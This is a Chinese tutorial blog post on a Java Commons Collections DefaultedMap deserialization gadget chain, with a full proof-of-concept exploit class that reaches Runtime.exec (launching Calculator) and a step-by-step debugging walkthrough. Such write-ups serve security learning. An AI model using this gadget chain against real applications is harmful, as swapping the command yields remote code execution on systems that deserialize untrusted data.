原创-CommonsCollections1-DefaultMap链

news/2024/9/8 6:35:36

今天我打算整点儿不一样的内容,通过之前学习的TransformerMapLazyMap链,想搞点不一样的,所以我关注了另外一条链DefaultedMap链,主要调用链为:

调用链详细描述:ObjectInputStream.readObject()DefaultedMap.readObject()DefaultedMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

刚开始的方法和其他CC1链的方法是一样的,这里不再赘述,其实也就是这三步

主要讲一下在DefaultedMap里是如何进行调用的,首先我们看一下完整的EXP

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class ExploitDemo implements Serializable {private static final long serialVersionUID = 1L;public static void main(String[] args) throws Exception {// 设置Transformer链,最终执行命令 'open -a Calculator' 以弹出macOS计算器Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.classnew InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 调用Class.getMethod() 获取getRuntime方法对象new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 调用Method.invoke() 获取Runtime实例new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 调用Runtime.exec() 执行命令};// 使用ChainedTransformer将多个Transformer链接在一起Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次调用上面的每个Transformer// 创建DefaultedMap对象Map<Object, Object> innerMap = new HashMap<>();DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,调用transformer.transform()// 通过反射将innerMap注入到DefaultedMap中Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 获取父类AbstractMapDecorator的map字段mapField.setAccessible(true);mapField.set(defaultedMap, innerMap); // 设置DefaultedMap的map字段为innerMap// 通过反射设置value字段Field valueField = DefaultedMap.class.getDeclaredField("value"); // 获取DefaultedMap的value字段valueField.setAccessible(true);valueField.set(defaultedMap, transformer); // 设置DefaultedMap的value字段为ChainedTransformer实例// 序列化DefaultedMap对象ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap对象objectOutputStream.close();byte[] serializedObject = byteArrayOutputStream.toByteArray();  // 通过ByteArrayOutputStream获取序列化后的字节数组// 反序列化DefaultedMap对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap对象,触发DefaultedMap.readObject()objectInputStream.close();// 调用get方法以触发命令执行deserializedMap.get("key"); // DefaultedMap.get() 调用ChainedTransformer.transform(),依次调用各个transformer,最终执行命令}
}

我们来下断点调试一下,看看代码是如何进行命令执行的

首先还是创建一个数组,然后通过ChainedTransformer方法进行不断的调用

Transformer[] transformers = new Transformer[]
创建一个数组Transformer[]new ConstantTransformer(Runtime.class)
1.通过ConstantTransformer 的 transform 方法调用一个对象,返回 Runtime.class,即 java.lang.Runtime 类的 Class 对象。new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
2.通过InvokerTransformer调用 Runtime.class.getMethod("getRuntime", new Class[0]) 获取名为 getRuntime 的方法对象,getMethod 方法签名为 Method getMethod(String name, Class<?>... parameterTypes),传入参数 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.通过 InvokerTransformer 调用 Method.invoke(null, new Object[0]) 获取 Runtime 类的实例,invoke 方法签名为 Object invoke(Object obj, Object... args),传入参数 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) 
4.通过 InvokerTransformer 调用 Runtime.getRuntime().exec("open -a Calculator") 执行命令,exec 方法签名为 Process exec(String command),传入参数 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。

通过ChainedTransformer方法,递归调用transformers数组,每一个步骤的输出被作为下一步的输入。

然后继续往下跟

1.首先我们先创建一个Map对象,为什么后面会讲
Map<Object, Object> innerMap = new HashMap<>();2.传入transformer数组,因为defaultedMap 中获取一个不存在的键的值时,DefaultedMap 会使用 Transformer 对象的transform 方法来计算默认值,所以会调用我们的恶意数组链。
DefaultedMap defaultedMap = new DefaultedMap(transformer);

继续往下跟

1.DefaultedMap 类继承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父类AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 类中的 map 字段(一个 Field 对象),反射是因为这个字段是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); 2.setAccessible(true) 方法允许通过反射访问私有字段。
mapField.setAccessible(true);3.mapField.set 方法用于设置 defaultedMap 对象中 map 字段的值,这里将 defaultedMap 的 map 字段设置为 innerMap 对象,即用我们之前创建的 Map 对象替换 defaultedMap 内部的 Map 实现。
mapField.set(defaultedMap, innerMap);

继续往下跟

1.通过反射访问并修改了 DefaultedMap 类的 value 字段,getDeclaredField("value") 获取 DefaultedMap 类中名为 value 的字段.
Field valueField = DefaultedMap.class.getDeclaredField("value");2.setAccessible(true) 使得即使是私有字段也可以通过反射进行访问和修改
valueField.setAccessible(true);3.通过 set 方法将 defaultedMap 对象的 value 字段设置为 transformer 对象。原因是当 DefaultedMap(Map map, Object value) 中的value获取一个不存在的键时,它将使用这个 transformer 对象来生成默认值。
valueField.set(defaultedMap, transformer);

继续往下跟

这里我也不废话,主要就是序列化数据和反序列化数据,通过ByteArrayOutputStream,提供了将数据写入字节数组的能力,toByteArray()方法是获取写入的所有数据的副本,作为一个新的字节数组,然后通过ByteArrayInputStream进行反序列化。

这里关键点需要注意的是以下这段代码,因为要能够使命令成功执行,必须要让DefaultedMap实现序列化接口,这里我们可以看到确实实现了,所以 DefaultedMap 实现了 Serializable 接口,它可以通过 ObjectInputStream 进行反序列化。在这个过程中,ObjectInputStream 会调用 DefaultedMapreadObject 方法,以恢复对象的状态。

可以看到我们下的断点位置已经通过反序列化调用了readObjcet方法

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();//ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法负责从输入流中读取对象的非静态和非瞬态字段的状态,并将它们恢复到当前对象中,这一步相当于默认的反序列化过程,它会根据序列化时写入的对象状态自动恢复这些字段的值。map = (Map) in.readObject();//这一行代码从输入流中读取一个对象,并将其强制转换为 Map 类型,然后赋值给 map 字段。这意味着 map 字段在反序列化过程中需要被显式地恢复。通过这种方式,可以确保 map 字段在反序列化后正确地指向原来的 Map 对象。}

 

继续往下跟
 获得命令执行的原因是,通过触发readObjcet方法调用DefaultedMapget方法,进行判断,当调用 get 方法尝试获取一个不存在的键(如 "key")时,DefaultedMap 会使用默认值生成器来生成值。在这里,默认值生成器是chainedTransformer,因此会调用 chainedTransformer.transform("key"),因为获取到一个不存在的值,DefaultedMap 会使用其默认值生成器(在这里是 ChainedTransformer)来生成默认值。由于 ChainedTransformer 包含了一系列的 Transformer,这些 Transformer 会依次调用,最终执行恶意命令。

然后我们可以下断点看下面的图

逐行解释一下命令执行的过程if (map.containsKey(key) == false) 
//检查 map 中是否包含指定的键 key。如果键不存在,代码继续执行内部逻辑;如果键存在,则直接返回键对应的值。if (value instanceof Transformer)
//检查 DefaultedMap 的默认值 value 是否是 Transformer 类型,如果 value 是一个 Transformer 对象,则调用 Transformer 的 transform 方法来生成值,也就是调用了我们的恶意链return ((Transformer) value).transform(key);
//当 get 方法调用 ((Transformer) value).transform(key) 时,实际上是调用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法会依次调用内部每个 Transformer;
ConstantTransformer 返回 Runtime.class;
InvokerTransformer 调用 getMethod("getRuntime", new Class[0]),获取 Runtime.getRuntime 方法;InvokerTransformer 调用 Runtime.getRuntime() 方法,获取 Runtime 实例;InvokerTransformer 调;
Runtime.exec("open -a Calculator") 方法,执行命令,打开计算器。

大家可以有机会自己写一下代码,调试一下就可以完全明白了,今天就到这里。Good night~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/32014.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Idefics2 简介: 为社区而生的强大 8B 视觉语言模型

我们很高兴在此发布 Idefics2,这是一个通用的多模态模型,接受任意文本序列和图像序列作为输入,并据此生成文本。它可用于回答图像相关的问题、描述视觉内容、基于多幅图像创作故事、从文档中提取信息以及执行基本的算术运算。 Idefics2 由 Idefics1 改进而得,其参数量为 8B…

文件处理命令

目录1.sort命令--对行内容进行升序排序2.uniq命令--对连续的重复行进行去重3.tr命令--对输入的内容进行替换(1)删除空行(2) Windows的另起一行格式(\r\n)转换成Linux的另起一行格式(\n)(3)对数组排序4.cut命令--对行内容进行字段截取5.split命令--linux下将一个大的文件拆…

Django3.2使用xadmin2遇到的问题

使用xadmin2遇到的问题&解决 环境配置: 使用的模块版本:关联的包 Django 3.2.15 mysqlclient 2.2.4 xadmin 2.0.1 django-crispy-forms >= 1.6.0 django-import-export >= 0.5.1 django-reversion >= 2.0.0 django-formto…

NSSCTF round#22逆向

NSSCTF round#22逆向1.wp要及时写不然忘光光 2.赛题分文件夹放ezcrypt 下载下来是python打包的exe,解包出pyc用pycdc反编译看一下嗯不认识BEFORE_WITH命令。丢到gpt4o里看看还蛮准确的,和作者提供的源码一样。不过对填充的处理不对,原程序是填充\x00。不过比自己硬看好太多了…

蓝桥杯-外卖店优先级(简单写法)

“饱了么”外卖系统中维护着 N 家外卖店,编号 1∼N。 每家外卖店都有一个优先级,初始时 (0 时刻) 优先级都为 0。 每经过 1 个时间单位,如果外卖店没有订单,则优先级会减少 1,最低减到 0;而如果外卖店有订单,则优先级不减反加,每有一单优先级加 2。 如果某家外卖店某时…

【转载】高可用(HA)集群之pacemaker+corosync

转载地址:https://blog.51cto.com/liheng1815/5637598 高可用(HA)集群之pacemaker+corosync方案0x00 概念 在传统Linux集群种类中,主要分了三类: ​ 一类是LB(负载均衡)集群,这类集群的作用是对用户流量做负载均衡,让其后端每个real-server都能均衡的处理一部分请求;…

Android系统启动流程

在Android中系统的启动流程是一个经常会被问到的问题,那么下面我们通过一张图来说明一下 从上面的图片中可以看到它的一个启动流程. 1.BootLoader首先,当我们点击电源开关后,引导芯片代码开始从预定义的地方(固化在ROM)开始执行。加载引导程序到RAM,然后执行,这时执行的就是…

Linux-文件特殊权限

day13今日安排默写昨日作业讲解文件权限篇综合知识脑图特殊权限(了解)linux提供的12个特殊权限 默认的9位权限 rwx rwx rwx还有三个隐藏的特殊权限,如下 suid 比如 /usr/bin/passwdsgidsbit 特殊权限对照表类别 suid sgid sticky字符表示 S S T出现位置 用户权限位x 用户组…